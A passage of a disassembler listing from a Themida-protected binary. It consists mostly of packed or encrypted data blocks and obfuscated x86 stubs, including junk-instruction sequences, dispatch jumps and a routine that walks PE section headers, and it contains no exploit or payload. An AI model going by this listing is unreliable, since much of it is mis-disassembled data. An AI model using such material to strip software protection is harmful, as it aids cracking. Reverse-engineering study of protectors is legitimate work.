Themida_:0057CE28j pusha mov edx, ebx mov si, di popa jmp near ptr loc_57CDC0+1 ; --------------------------------------------------------------------------- dw 2576h db 36h, 28h, 99h ; --------------------------------------------------------------------------- loc_57CE53: ; CODE XREF: Themida_:0057CE30j jmp short loc_57CE5D ; --------------------------------------------------------------------------- align 4 dd 0 db 0 ; --------------------------------------------------------------------------- loc_57CE5D: ; CODE XREF: Themida_:loc_57CE53j jmp loc_57CEDD ; --------------------------------------------------------------------------- dw 5260h dd 244C010Fh, 0C2835AFEh, 15858B24h, 8D062824h, 2B89D085h dd 8B088B06h, 100088h, 660A8B00h, 89FC4A8Bh, 2B3B148Dh dd 0B1BD8306h, 62812h, 0F840Fh, 6A600000h, 6595FF00h, 61062804h dd 0FFFFC4E9h, 728966FFh, 10CEC1FCh, 2728966h, 5A04CD52h dd 3B108589h, 0B58B062Bh, 62B3B14h, 6610CEC1h, 8B027289h dd 2B3B14B5h, 72896606h, 858B61FCh, 62B3B10h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_57CEDD: ; CODE XREF: Themida_:loc_57CE5Dj lea edx, [ebp+6282755h] mov [ebp+6280D09h], edx mov [ebp+6281259h], edx inc dword ptr [ebp+6281259h] mov byte ptr [ebp+6280D25h], 53h push 0FCB148D8h push dword ptr [ebp+6282DD5h] lea eax, [ebp+6283BBBh] call eax mov [ebp+6280465h], eax lea eax, [ebp+62B339Bh] mov [ebp+6282D35h], eax jmp short $+2 jmp loc_57D541 ; --------------------------------------------------------------------------- jmp loc_57D53A ; --------------------------------------------------------------------------- push 62B3CC8h jmp loc_551321 ; --------------------------------------------------------------------------- push 62B3DE9h jmp loc_551321 ; --------------------------------------------------------------------------- push 62B3E84h jmp loc_551321 ; --------------------------------------------------------------------------- push 62B3F8Ch jmp loc_551321 ; --------------------------------------------------------------------------- push 62B40AEh jmp loc_551321 ; --------------------------------------------------------------------------- db 0C6h dd 7E82FFF5h, 3135B2B0h, 0E2E66365h, 999D1A10h, 4E51CECCh dd 0E6E4B100h, 9C966569h, 4E501B1Fh, 3FDCDD1h, 6AD06086h dd 7958AFB2h, 0A07EF3C6h, 7F73937Ch, 73939646h, 9337E87Fh dd 6D917F73h, 7DF33E65h, 0D7ED81E0h, 7F732F05h, 732F5A7Dh dd 2FFE227Fh, 491CFF73h, 60C02Ch, 9D0F0DDAh, 0FF732F7Fh dd 8DA337F9h, 0F55B02A2h, 709602C4h, 0E1379DA5h, 93F95B42h dd 2D011F07h, 96F0CF3h, 572226A3h, 0BD903055h, 130107CEh dd 8AF0798Eh, 0CC9ABE1Eh, 1F14E61Ah, 8B667C10h, 0EDF373C1h dd 0BA96BD2Bh, 7F5A340Fh, 496C8h, 51471800h, 402D0D4h dd 0B5B78387h, 6C623438h, 201EEBEFh, 3F2A0A3h, 0B7BB3836h dd 6D71EEE8h, 1F23A0A2h, 0B2D8554Fh, 0AF1CBC22h, 45187958h dd 0E046A6D0h, 7F739338h, 0D8ABB03Ch, 1F67BF43h, 7F4F25B9h dd 343180BBh, 288E0332h, 4FB51503h, 7F73EB89h, 3F55E9ABh dd 7F73EB9Ch, 0F8B87113h, 0EE0A38D4h, 0D204D420h, 0FCE40903h dd 0FCC29268h, 4BC82E30h, 117D7747h, 8B1F1DEBh, 443E0EC2h dd 1BA581Fh, 0FDE7AB7Bh, 9ECA0F4Dh, 0CEC946ACh, 0BB3225ABh dd 0FB2187E7h, 7D7F7291h, 91894FB5h, 0E9AB7F72h, 88825183h dd 3C608F4h, 0E0350000h, 84AA1610h, 0AF97BCB2h, 0BB5E521Bh dd 297F7393h, 8A5AE099h, 5DED1390h, 0F66ED9FDh, 0D2FB7482h dd 7314AC6Ch, 0A006C87Fh, 1426F60Ch, 90527F73h, 0EAECB76Bh dd 9F99696Dh, 1700DA7Ah, 68E54B49h, 0B464CA2Ah, 0C07F7314h dd 0C4946AFEh, 22F1A5CAh, 0B567AB28h, 4D7F7314h, 0BF5F847Eh dd 0F55BC7ECh, 755BD8A2h, 0B7A412D4h, 37BE7795h, 375A55Ch dd 26F70000h, 0E1AFB330h, 966266E3h, 41131794h, 0FDCACE4Bh dd 0D37F82FFh, 9A1715E2h, 50CDC796h, 27F814Ch, 0B7342EFEh dd 7D9B0191h, 0F77958AEh, 10E0AF24h, 64A4864Ch, 7355DEFEh dd 68985A7Fh, 6AD66152h, 7382D404h, 389E607Fh, 0D6066CCCh dd 0E87F7382h, 0A3651D1Bh, 3258460Fh, 59416664h, 251FEFC5h dd 837D4C00h, 82DEC206h, 0F4287F73h, 0E7F7392h, 2C20453Fh dd 7F73B2E8h, 0C6325326h, 5BA2C160h, 0A90F6F75h, 795BA273h dd 53AF4305h, 1F202391h, 0D1ACBE77h, 2DA1Ah, 958B5C00h dd 48461418h, 0F9FBC7CBh, 0B0A6787Ch, 64622F33h, 47B6E4E7h dd 0FBFF7C7Ah, 0B1B5322Ch, 6367E4E6h, 0F61C9993h, 0ADD80066h dd 895C7958h, 5E82A614h, 0CEA4F4CDh, 67A96C9Ch, 0A6242CBDh dd 726C3C12h, 0CFC9994Dh, 746E3D63h, 0B25017E0h, 2B1539F9h dd 35983DABh, 0F0288EFAh, 847F73A6h, 88582EC2h, 91F7F5C2h dd 64601914h, 4556BB31h, 0AE000002h, 2ABEB888h, 937CA0EFh dd 284C7F73h, 7F18C886h, 8F65F908h, 3256C2C4h, 0B252B2A0h dd 55760ABEh, 2426F117h, 0EDEFBA90h, 1DBB2181h, 177F733Fh dd 0AF8C155h, 3F9444AAh, 86EC7F73h, 7F733F56h, 0A66820E2h dd 0A3713C12h, 0CCB4D9D3h, 349AFA66h, 7F733FE4h, 713ACE90h dd 0CD530CAAh, 33E83602h, 0BDB860C6h, 0FABC7F73h, 636D89CAh dd 3F646631h, 7974F157h, 0BB315C00h, 48B6h, 21F4E300h dd 0FB329804h, 9D755BB1h, 0C606DDBh, 11ECBE77h, 1D25Ah dd 8D835400h, 403E0C10h, 0F1F3BFC3h, 0A89E7074h, 5C5A272Bh dd 3F8EDCDFh, 0F3F77472h, 0A9AD2A24h, 5B5FDCDEh, 0EE14918Bh dd 0AC20F85Eh, 81547958h, 0C82EBE0Ch, 7F739318h, 47355A1Ch dd 0B6885621h, 4DB39BC0h, 1618E3B9h, 1C59599h, 91D3863h dd 0F2F0BDA4h, 197FE5CDh, 11E006F4h, 1D83794Bh, 0BA7C10F8h dd 2D27F7E0h, 3DBA2008h, 0EF6C6E39h, 2DEB51B1h, 477F7364h dd 4B1BF185h, 0A9782C51h, 612E32AFh, 0B5B8FB99h, 9F05C6ADh dd 355BBB4Bh, 0DDFB6169h, 577F732Dh, 859B2F95h, 7F732C57h dd 8DB31FE1h, 622BBFC1h, 50915074h, 0D2DE709Dh, 9A9C683Eh dd 37542D1Dh, 90925E12h, 50DCF13h, 1B7B7F73h, 730567B5h dd 1D4F117Fh, 422A4F51h, 0FC19ECAEh, 27C72A90h, 0F7B9755Bh dd 9997658Bh, 3E38072Dh, 0B78589AAh, 15E094B9h, 0B281A713h dd 0A75B24B8h, 5B9DED8h, 9F9D6B39h, 72C927Ah, 36F9467h dd 7304E29Dh, 0DDAAD073h, 0CC319C15h, 0DA40AE60h, 0BA28EA46h dd 0B40F9AC3h, 0B09D542Fh, 32000000h, 0EAEE6B61h, 9DA11E1Ch dd 4E52CFD1h, 509867Ch, 0BABD3A38h, 52501DECh, 802D1D5h dd 0BABC878Bh, 6F69393Dh, 0D63CCCF2h, 7958D306h, 0E0EA5F32h dd 82784A10h, 0A30F755Dh, 8AAFB17Dh, 91450EA2h, 0DBA2C7C1h dd 0B167CD2Dh, 0F7F7393h, 739373A9h, 8B43057Fh, 7C3535C9h dd 0AF2C26F6h, 312FC5B4h, 26F1BBh, 0A01E0000h, 7F73937Dh dd 5B55254Bh, 2721F1C7h, 27F55BBBh, 517F7393h, 0D3DAFB8Fh dd 19h, 1610DF05h, 3A7509F1h, 73937CA0h, 5B264C7Fh, 0B84C3459h dd 9B1812E2h, 8D608E32h, 0Bh, 0A3AD9BBFh, 0D332D3C7h, 0E0C3103Fh dd 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h, 0B1658A88h dd 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 2ED668h dd 243C8900h, 18668h, 241C8900h, 80068h, 243C8900h, 31B0B850h dd 35483E65h, 384E0DB5h, 48BC389h, 4C48124h, 54000000h dd 81243C8Bh, 4C4h, 2C815300h, 37665D24h, 8478F37h, 5D084781h dd 8B373766h, 8951243Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 2434FF5Ch, 4C4835Bh, 0FD3DECE9h, 0CA4B85FFh db 8Dh, 6Ah ; --------------------------------------------------------------------------- loc_57D53A: ; CODE XREF: Themida_:0057CF28j mov eax, 62B4183h add eax, ebp loc_57D541: ; CODE XREF: Themida_:0057CF23j mov edx, ecx jmp loc_57D599 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_57D563: ; CODE XREF: Themida_:0057D58Ej cmp ecx, 0 jz loc_57D582 cmp edi, [edx+0Ch] jg loc_57D58A sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_57D582: ; CODE XREF: Themida_:0057D566j ; Themida_:0057D594j mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_57D58A: ; CODE XREF: Themida_:0057D56Fj add edx, 28h dec ecx jnz loc_57D563 jmp loc_57D582 ; --------------------------------------------------------------------------- loc_57D599: ; CODE XREF: Themida_:0057D543j mov edx, 9FD3Eh jmp short loc_57D5C0 ; --------------------------------------------------------------------------- dd 8 dup(0) ; --------------------------------------------------------------------------- loc_57D5C0: ; CODE XREF: Themida_:0057D59Ej jmp loc_57DB86 ; --------------------------------------------------------------------------- jmp loc_57DB7F ; --------------------------------------------------------------------------- push 62B4471h jmp loc_551321 ; --------------------------------------------------------------------------- push 62B44F9h jmp loc_551321 ; --------------------------------------------------------------------------- push 62B46CAh jmp loc_551321 ; --------------------------------------------------------------------------- push 62B4749h jmp loc_551321 ; --------------------------------------------------------------------------- dw 6233h dd 1DEBEF6Ch, 0D29EA21Fh, 7D4F53D0h, 39060A87h, 0EFBBBE3Bh dd 0D653511Eh, 8C0903D2h, 3EBBBD88h, 0F3706A3Ah, 1D73DCDh dd 337958D1h, 9FF21660h, 0EB3197B8h, 8D79584Fh, 6C689BCBh dd 9BA27AE0h, 14D67958h, 3CDC42AEh, 3879589Bh, 0A6A7E276h dd 0E9F45982h, 2EC2CB68h, 658A8C58h, 272D5377h, 0E6BAF0C7h dd 42983C52h, 9DE3FF73h, 31267E4h, 20803B32h, 2E8A18FCh dd 9B0DC897h, 0FF73297Dh, 93F1F97Fh, 1B92DB5h, 0C8E3B075h dd 48AEC82Ah, 22C8B4h, 0A0F50000h, 7F73937Dh, 319DC699h dd 93AD6BD1h, 5C77F73h, 4EFB6171h, 0E4755E51h, 3D9EA522h dd 0A5000000h, 73937CA0h, 4C284C7Fh, 748F82C6h, 6437F98Dh dd 1373D33Fh, 73B36FADh, 29EF557Fh, 4B7F73B3h, 7B0FD189h dd 5E712465h, 0A2749A75h, 6D9F87ACh, 0B00CA0A2h, 30555722h dd 0FC65E248h, 0ED1214E0h, 739338F9h, 173DAFFFh, 0B3B58147h dd 0AC40284Dh, 0D33F3ACh, 70D64240h, 0FF7393A8h, 0A0760ACCh dd 6555D2D4h, 0A3036F8Ch, 1BAFB17Dh, 7383D305h, 7EA365FFh dd 8300FACAh, 52541F45h, 0EFB1452Dh, 258BF71Ch, 0F55BBF06h dd 1614E270h, 0BD709F1h, 8A7EA309h, 0F95BA756h, 0BD9A370h dd 9A00E80Dh, 0F8F2C175h, 0D38CEED3h, 2E52A819h, 18A362F7h dd 0E2E2766Dh, 50456929h, 0BAB88601h, 0C17DAD95h, 0E0AD41A1h dd 4159F499h, 7B1Dh, 824F7500h, 0E3775F84h, 421F4A8h, 0A6A47298h dd 0EF2D9381h, 897F7393h, 0BDCD61C7h, 5E587857h, 6CD89A75h dd 0FF7C7646h, 46672BFBh, 0DB5ED6FEh, 0F682F056h, 82BE7578h dd 310F0A7h, 9E6F0000h, 59272BA8h, 0EDADE5Bh, 0B98B8F0Ch dd 754246C3h, 0ABF7FA77h, 128F8D5Ah, 0C8453F0Eh, 7AF7F9C4h dd 2FACA676h, 0C5137909h, 6F7958D7h, 0DBDD279Ch, 0F000002h dd 804F1DE9h, 518C2086h, 0ED1214E0h, 739327F9h, 93FD9F7Fh dd 10C57F73h, 687F7393h, 7F7393B4h, 7393CA0Eh, 9360B47Fh dd 0DBAE3F73h, 0FB2022EEh, 0DB41AD13h, 0B55EE493h, 4AEA0FD1h dd 7CE24E77h, 0B3715561h, 23D34103h, 0C9740DD9h, 28837EEh dd 16E70000h, 0D19FA320h, 865256D3h, 31030784h, 0EDBABE3Bh dd 236F72EFh, 8A0705D2h, 40BDB786h, 0F26F713Ch, 0A7241EEEh dd 4D8BF181h, 0E77958D7h, 10E09F14h, 0DD03F116h, 7D7B480Eh dd 9745AB17h, 0A17F7393h, 0B6894BDFh, 0A2BB218Dh, 0C0755E51h dd 0B17D81FEh, 511D43AFh, 0AE422A4Fh, 0BBBD898Dh, 223F696h dd 134F3096h, 6B2D7375h, 0BA8AB0EEh, 0C2162CC0h, 10732516h dd 46AC183Dh, 7908D42Dh, 0FCD3393h, 296DF25Bh, 0EB77D367h dd 642092F4h, 127EE409h, 0A5221CECh, 77714167h, 0D66A52h dd 0A4CA3630h, 0CEB6DBD5h, 0AB7D713Ah, 676DF2FAh, 9D036F94h dd 67DF38E8h, 0E5E3B0D6h, 0DC830EC0h, 5E48117h, 0A2A06D9Fh dd 0A501957Dh, 0F31777E3h, 5D4FFE15h, 5A27594Dh, 0BB4F375Ch dd 9E1B15E5h, 64D0CA9Ah, 9DEC7140h, 0A0D0BF72h, 0EB1EF670h dd 0CD569CAh, 8058BE1Eh, 0B467DF31h, 64485EF2h, 3267DF31h dd 9D9F6A5Fh, 0DAA5CB37h, 0D6066CD8h, 6267DF31h, 96FC0CA0h dd 6DF2F3E1h, 0C3197FDFh, 7561A477h, 1C31FB3h, 9F9F6F95h dd 0DBA0A97Bh, 0C93B1FC3h, 61A4C013h, 80FD6325h, 8DB2AC7Ch dd 12527B9Fh, 0B59E57E2h, 678C5F21h, 0A7D495FBh, 0BC7E6B89h dd 5C5E2A50h, 0F2BB4F37h, 70ABDAFEh, 0A65FA55Ah, 0F82086E6h dd 7C5A70ABh, 205926BAh, 96E03467h, 0Ch, 0B67CA0C3h, 7837F73h dd 8A000000h, 73B97CA0h, 21F4217Fh, 12389804h, 9CB24644h dd 755E51C3h, 0F1278DEDh, 97958D1h, 31193E3Ch, 0C723B779h dd 6D40E005h, 3B76DC48h, 0A97370E3h, 0E735E349h, 773F7320h dd 20E7CB11h, 45AB6D73h, 259355B1h, 0B40DA5DFh, 0B77F3611h dd 16000000h, 0CED24F45h, 81850200h, 3236B3B5h, 0E9ED6A60h dd 9EA11E1Ch, 363401F0h, 0ECE6B5B9h, 9EA06B6Fh, 534D1D21h dd 0BA20B0D6h, 7958D562h, 0F4CE4316h, 6D6B3821h, 8EFA6048h dd 96F30A2Eh, 65DFFD63h, 97597F73h, 93C49367h, 818CE9FFh dd 60EE755Eh, 0A2F9593h, 26E976Ah, 7D480ADCh, 8F0157Bh dd 9BFE6474h, 0E9737790h, 570EC1C5h, 50E4CBE2h, 26C432F4h dd 0A6B40A47h, 3814CBh, 0C6970000h, 814F53D0h, 36020683h dd 0E1B3B734h, 9D6A6EEBh, 731F229Fh, 3AB7B582h, 0F06D6736h dd 0A21F21ECh, 57D4CE9Eh, 9D3BA131h, 977958D4h, 3DD4FC4h dd 0E4000000h, 0FE03A87h, 7040F419h, 0D29D5176h, 28F7ABD0h dd 8855092Eh, 0E4B1658Ah, 3B0DC1E6h, 0A06C2045h, 0F7C5799Eh ; --------------------------------------------------------------------------- stc aam 0FFh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 push 3B52h mov [esp], eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push esi mov esi, 3F2A3B76h mov eax, 390179DBh xor eax, esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push 358Eh mov [esp], eax pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_551321 ; --------------------------------------------------------------------------- db 27h, 0F1h, 0B4h dd 0A2ACB600h, 1828FF18h db 65h, 1, 25h ; --------------------------------------------------------------------------- loc_57DB7F: ; CODE XREF: Themida_:0057D5C5j mov eax, 62B47A6h add eax, ebp loc_57DB86: ; CODE XREF: Themida_:loc_57D5C0j mov ecx, eax call sub_57DB94 retf 0DE4Eh ; --------------------------------------------------------------------------- dd 0AB268152h ; =============== S U B R O U T I N E ======================================= sub_57DB94 proc near ; CODE XREF: Themida_:0057DB88p pusha popa pop edx mov cl, 0B4h add edx, 6CEFh jmp loc_57DBB4 ; --------------------------------------------------------------------------- dd 135865E9h, 195FC125h, 0CE2C63A0h, 46F3DADFh ; --------------------------------------------------------------------------- loc_57DBB4: ; CODE XREF: sub_57DB94+Bj push 1AFBh pop ebx sbb edi, 0A56112h loc_57DBC0: ; CODE XREF: Themida_:0057DC87j mov eax, [edx] call near ptr loc_57DBD2+5 mov dl, 0B6h out dx, al or al, 0B4h cmp eax, 512F0745h into loc_57DBD2: ; CODE XREF: sub_57DB94+2Ep sub dh, [eax-17D545C0h] sub_57DB94 endp ; sp-analysis failed or eax, [eax] ; --------------------------------------------------------------------------- dw 0 dd 6CE41A44h, 0BF739741h, 0FD6E7A5h, 80h, 815F5E00h, 917CF0C0h dd 0DEBE6675h, 0A8F08111h, 0E85CF4A1h, 12h, 76426778h dd 4792F7D7h, 0B656270Bh, 4181C7AAh, 0BF0F5A52h, 0E8815FFEh dd 2BCBE4D5h, 89CB8B66h, 0CBB70F02h, 5004EA83h, 5E856h dd 0C1CD0000h, 5FEB67B7h, 0F4B5F5Eh, 1385h, 61F96000h dd 4BE9h, 1C680200h, 2408E7E7h, 0C107C750h, 10E860h, 0E7490000h dd 9260734Ah, 52DE4ECAh, 16AB2681h, 830F0FEBh, 0 ; --------------------------------------------------------------------------- pop ecx jmp loc_57DC86 ; --------------------------------------------------------------------------- dw 7E18h dd 83D3C892h, 9CFB637Dh, 0D46CA93Bh db 2 dup(0C0h) ; --------------------------------------------------------------------------- loc_57DC86: ; CODE XREF: Themida_:0057DC71j popa jmp loc_57DBC0 ; --------------------------------------------------------------------------- dd 0D17753DBh, 51467290h, 152E9h, 4B61A600h, 95ECE70Bh dd 715893DAh, 0B6CFDF06h, 5D54FDBEh, 0ECA43636h, 5DD500BCh dd 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h dd 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h, 90BD9Ch dd 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h, 0F95CFC7Ah dd 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h, 0B3EBB59Eh dd 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h, 0B2CD00EDh dd 0E594A6E3h, 0C3B5D4h, 622D4457h, 0AE29B0F3h, 38h, 3Ch dd 40h, 2 dup(0) dd 4, 94h, 5, 1, 0A28h, 2, 25h dup(0) dd 0E9000000h, 1F59h, 2B4CD668h, 3527E906h, 0D868FFFDh dd 0E9062B4Dh, 0FFFD351Dh, 2B4EB568h, 3513E906h, 7768FFFDh dd 0E9062B4Fh, 0FFFD3509h, 2B502468h, 34FFE906h, 0E068FFFDh dd 0E9062B50h, 0FFFD34F5h, 2B51BE68h, 34EBE906h, 8668FFFDh dd 0E9062B52h, 0FFFD34E1h, 2B563868h, 34D7E906h, 0B768FFFDh dd 0E9062B56h, 0FFFD34CDh, 2B580768h, 34C3E906h, 2368FFFDh dd 0E9062B5Bh, 0FFFD34B9h, 2B5E7A68h, 34AFE906h, 0E168FFFDh dd 0E9062B61h, 0FFFD34A5h, 2B633B68h, 349BE906h, 9F68FFFDh dd 0E9062B63h, 0FFFD3491h, 2B63F168h, 3487E906h, 4368FFFDh dd 0E9062B64h, 0FFFD347Dh, 2B65B268h, 3473E906h, 0BB68FFFDh dd 0E9062B66h, 0FFFD3469h, 2B68A768h, 345FE906h, 9263FFFDh dd 4D1B1F9Ch, 2CED24Fh, 0AD7F8300h, 69363AB7h, 0BFEBEE6Bh dd 683814Eh, 0BC393302h, 6EEBEDB8h, 23A09A6Ah, 0D1076DFDh dd 637958D8h, 10E01B90h, 6D3DF116h, 92E30773h, 99E3C2E4h dd 0C60425B9h, 40D4D2A0h, 6084AB7Eh, 0D3CE5A40h, 0B95FD164h dd 0BB7F7386h, 0C12793F9h, 755B87D6h, 92BF0024h, 424A2CFh dd 0E6521470h, 0C6F6F0C0h, 7D1CF5EEh, 763FD31Bh, 5B125E82h dd 2AE32979h, 59ACCCADh, 66C6C1h, 795B1AD8h, 440312E4h dd 1BD3E2FDh, 2ED9C559h, 6000000h, 980421F4h, 5BBEAB32h dd 0E60BCD75h, 903D2F8h, 86BD5F75h, 0C006795Bh, 43EF8A07h dd 7FA3C159h, 0A6F8F144h, 220EA2F5h, 0CCh, 1610E04Fh, 3DA303F1h dd 7F73939Fh, 6D43D799h, 0E04D6A0h, 0EC110FDCh, 0C5799E04h dd 22D6FBF5h, 97DB5852h, 7F738F86h, 0F3706A3Ah, 251FEFh dd 0FC688D60h, 0AEA4769Ch, 94A1041Ah, 0F91F755Bh, 2AF92B2Dh dd 8F230B30h, 0DF057133h, 4EC1113h, 94EA3298h, 0CC8E795Bh dd 54271738h, 0D09DC32Fh, 189A2D2h, 0EC578E39h, 80E24858h dd 0E4737535h, 0C390B622h, 0C0FAB4FBh, 7A34859Ah, 71C6F61Dh dd 900D73DAh, 53C1BF8Ch, 0B40C71BFh, 819B522Dh, 0A00001Ch dd 0C2C64339h, 7579F6F4h, 262AA7A9h, 0DDE15E54h, 92951210h dd 2A28F5C4h, 0E0DAA9ADh, 92945F63h, 47411115h, 0AE14A4CAh dd 7958DF6Eh, 0E0C2370Ah, 94981513h, 0E44DCAC4h, 4B3A21F4h dd 0A9A7750Fh, 586C9C84h, 3E400C2Ch, 0A60672D8h, 551C3D82h dd 43A9FA53h, 7F73EB95h, 0E377DD9Fh, 5BC64ECDh, 0BDA6875h dd 9E04EC11h, 1F538579h, 0A06B795Bh, 0A10705D2h, 0FBFDC87Ch dd 0BD760AD6h, 934C9203h, 59BB6316h, 0B053C1h, 0E0800000h dd 3DF11610h, 5F4D7270h, 0A9A66A39h, 0C904E134h, 8D7BA006h dd 7308F127h, 5BC1837Fh, 14ACB1C7h, 0F41A7F73h, 0C0962A24h dd 7579F6F0h, 0E686ABA5h, 5A582613h, 7BE74D35h, 5B0FB215h dd 3D0A3075h, 9E321A3Fh, 0C5038042h, 3C08D29Fh, 7E40D43Ah dd 0B81E8AABh, 737593A9h, 3D9D09CBh, 24494B17h, 5D2A83Ch dd 0B9868A07h, 9D934DBBh, 421DB40Dh, 1B7F8Bh, 41370800h dd 0F4F2C0C4h, 0A5A77377h, 5C522428h, 100EDBDFh, 0F3C29093h dd 0A7AB2826h, 5D61DED8h, 0F139092h, 0A2C8453Fh, 0DE6CAC12h dd 35087958h, 1513E0C0h, 0CAC49498h, 10E0E44Dh, 6D3DF116h dd 93D1076Dh, 0D5637F73h, 3DA30907h, 0EEA6C1C0h, 2E8EFA1Bh dd 739310C8h, 0DCDEAA7Fh, 5517CFB7h, 2D51B1C1h, 0F9318077h dd 0D7056B51h, 617F73AAh, 8FA5399Fh, 755BBFA8h, 567C08CAh dd 25E9229Eh, 3A5E8154h, 0B8783D4Ah, 0FE1E9079h, 7ABDC5B2h dd 80E652B8h, 0B7ED8469h, 0B7DD490Bh, 565421E7h, 4FE34931h dd 0D2389886h, 0B7ADDC0Ah, 0E93C6C2Eh, 0AA0E1D43h, 5B2EF084h dd 4A6ECE3Ah, 0D9C6370Ch, 1127BB2Dh, 0BD853394h, 6288F4B6h dd 171B9892h, 1FDF4D47h, 0A5775879h, 1AA213CAh, 5A2B0000h dd 15E3E764h, 0CA969A17h, 75474BC8h, 31FE027Fh, 0E7B3B633h dd 0CE4B4916h, 8401FBCAh, 36B3B580h, 0EB686232h, 9CF35C5h dd 2B7958DDh, 10E0E358h, 69C7BD4Ch, 0AE7A56E4h, 399F87ACh dd 3B0EAED3h, 0C18AAE1Ah, 0BA33D16Ah, 0AD1323B7h, 755B0A52h dd 0F6F57234h, 274C1F75h, 66355BBBh, 0F35F476Ch, 5B5A4F8Dh dd 9327E979h, 734FBE7Dh, 6AF6B873h, 0F4A31744h, 0BFE4B738h dd 901EED53h, 0B678A159h, 5C52244Ah, 0EB11FFC8h, 0CD8F2319h dd 76DD9FAh, 0AF71358Eh, 1E7EEAACh, 9A2E28F8h, 8EFAF4C4h dd 0D10C82Eh, 0B7AC9F21h, 0B2D0EFBEh, 18AC6E26h, 2923F3F7h dd 0C0975BBh, 0E59C7758h, 19E0h, 25A29869h, 0D8555321h dd 890608D4h, 40BDB385h, 0F4716F3Ch, 8754A5F1h, 39080C89h dd 0F3BEC23Fh, 0A07074F1h, 730329A6h, 58DCCF0Dh, 21966979h dd 964C10E0h, 80824EA0h, 0A443735Bh, 6F94FAACh, 8F8D5B81h dd 3D6639FBh, 91286BD1h, 884A755Bh, 266E0C0Bh, 60C63253h dd 73728559h, 3F410D9Bh, 40CC321Ah, 0CE9AC020h, 83825ACCh dd 0F4B67322h, 60F4F6C2h, 8DCB244Ah, 0F61FF20Fh, 6CC5248Ah dd 0EDAFDDA2h, 305528C8h, 0A0E15EC4h, 4103DA7Ah, 0DB6AB1D5h dd 0EA8A0A76h, 50204656h, 5D5D956h, 33AD9D0Bh, 744F0D14h dd 1933BDh, 0F5EBBC00h, 0A8A67478h, 595B272Bh, 1006D8DCh dd 0C4C28F93h, 0A7164447h, 5B5FDCDAh, 1115928Ch, 0C3C74446h dd 567CF9F3h, 0C3B860C6h, 0E9BC7958h, 1610E074h, 557E51F1h dd 832C83E9h, 6C92755Bh, 957DA29Ch, 77DDA501h, 795B83A1h dd 3FA511D3h, 795B8399h, 0F673D99Bh, 42157FF7h, 2F55B521h dd 0B9CF6361h, 73739682h, 80A632F4h, 6E66C376h, 2C98BD90h dd 163B3906h, 248A9A2Eh, 7CC977C5h, 594F21AFh, 909D0029h dd 96F5CF9h, 547144E4h, 170582E8h, 4D737AE0h, 735B8082h dd 55C183DFh, 0E8655F2Fh, 7C4E14E4h, 404B86BCh, 5EC407C4h dd 0ADA68AF8h, 5732ADBDh, 1877A0h, 392F0000h, 0ECEAB8BCh dd 9D9F6B6Fh, 544A1C20h, 806D3D7h, 0EBDA888Bh, 9FA3201Eh dd 5559D6D0h, 70B888Ah, 9AC03D37h, 0C374A40Ah, 2D007958h dd 0E046A6B8h, 7F739338h, 10E67A3Ch, 81214640h, 0B31985AEh dd 755BBCF8h, 5C5BD89Ah, 91B2850Fh, 91F8BF25h, 38FA7373h dd 0BF1386ACh, 0ECBF04ECh, 0A2F2DFBh, 0F050BC22h, 6A8F528Ah dd 9024E6DFh, 2EFA2080h, 6B82982Ch, 0DD542B9h, 1238264Bh dd 39214644h, 2710E3A5h, 4F375C5Ah, 85577DE9h, 8FF5F7C3h dd 658BEBFBh, 1FFCD97h, 698EF4DCh, 5ED7ED81h, 7CD31A1Dh dd 5C284EBAh, 0E147355Ah, 0D31A163Bh, 0E3157B3Dh, 73831715h dd 17837D4Dh, 0E02A54F3h, 1274FDDAh, 33652499h, 2041D53Bh dd 0E4524C1Ch, 1437BECAh, 99F0A782h, 22000017h, 0DADE5B51h dd 8D910E0Ch, 3E42BFC1h, 0F5F9766Ch, 0AAAD2A28h, 42400DFCh dd 0F8F2C1C5h, 0AAAC777Bh, 5F59292Dh, 0C62CBCE2h, 7958C216h dd 0E0DA4F22h, 3F11610h, 0EE130DDDh, 0DDB07206h, 29E64CB8h dd 4B755E49h, 2AF71D89h, 0D918C026h, 5A1C7958h, 0B7E7CFF4h dd 79D0C91Ch, 0CBDB6F4Eh, 0B173456Bh, 0EB7FE5E3h, 0CE4B4515h dd 58B4228Ah, 0F61BF079h, 0D092648Ah, 7A9F0503h, 0D9DDFE92h dd 0A2920F09h, 0DA3AA6CFh, 9B140FB6h, 4EE2696Ch, 7542FF38h dd 0F6C3E973h, 57EBD3F8h, 0C9576FFBh, 0D05D5205h, 64BA2AA0h dd 7FE568EBh, 211FED13h, 0D4D2A0A4h, 0CC9BC1AFh, 31C5ADD2h dd 23918B5Bh, 0B4082235h, 0D125DCB7h, 5A000016h, 12169389h dd 0C5C94644h, 767AF7F9h, 2D31AEA4h, 0E2E56260h, 7A7845B4h dd 302AF9FDh dd 0E2E4AFB3h, 97916165h, 0FE64F41Ah, 7958C1DEh, 0F412875Ah dd 32980421h, 755E49F5h, 969D597h, 58D975A3h, 0A93DFF79h dd 0DDA37399h, 4EC110Fh, 9D0E329Eh, 0FDFFCBD6h, 406B6CCDh dd 58B402DAh, 0E743679h, 9469597Ah, 8B9D036Fh, 0ED7958B4h dd 0CF12062Bh, 0B87958B4h, 3D3CB972h, 79C15C52h, 90h, 381FF4A6h dd 0F3C19D2Bh, 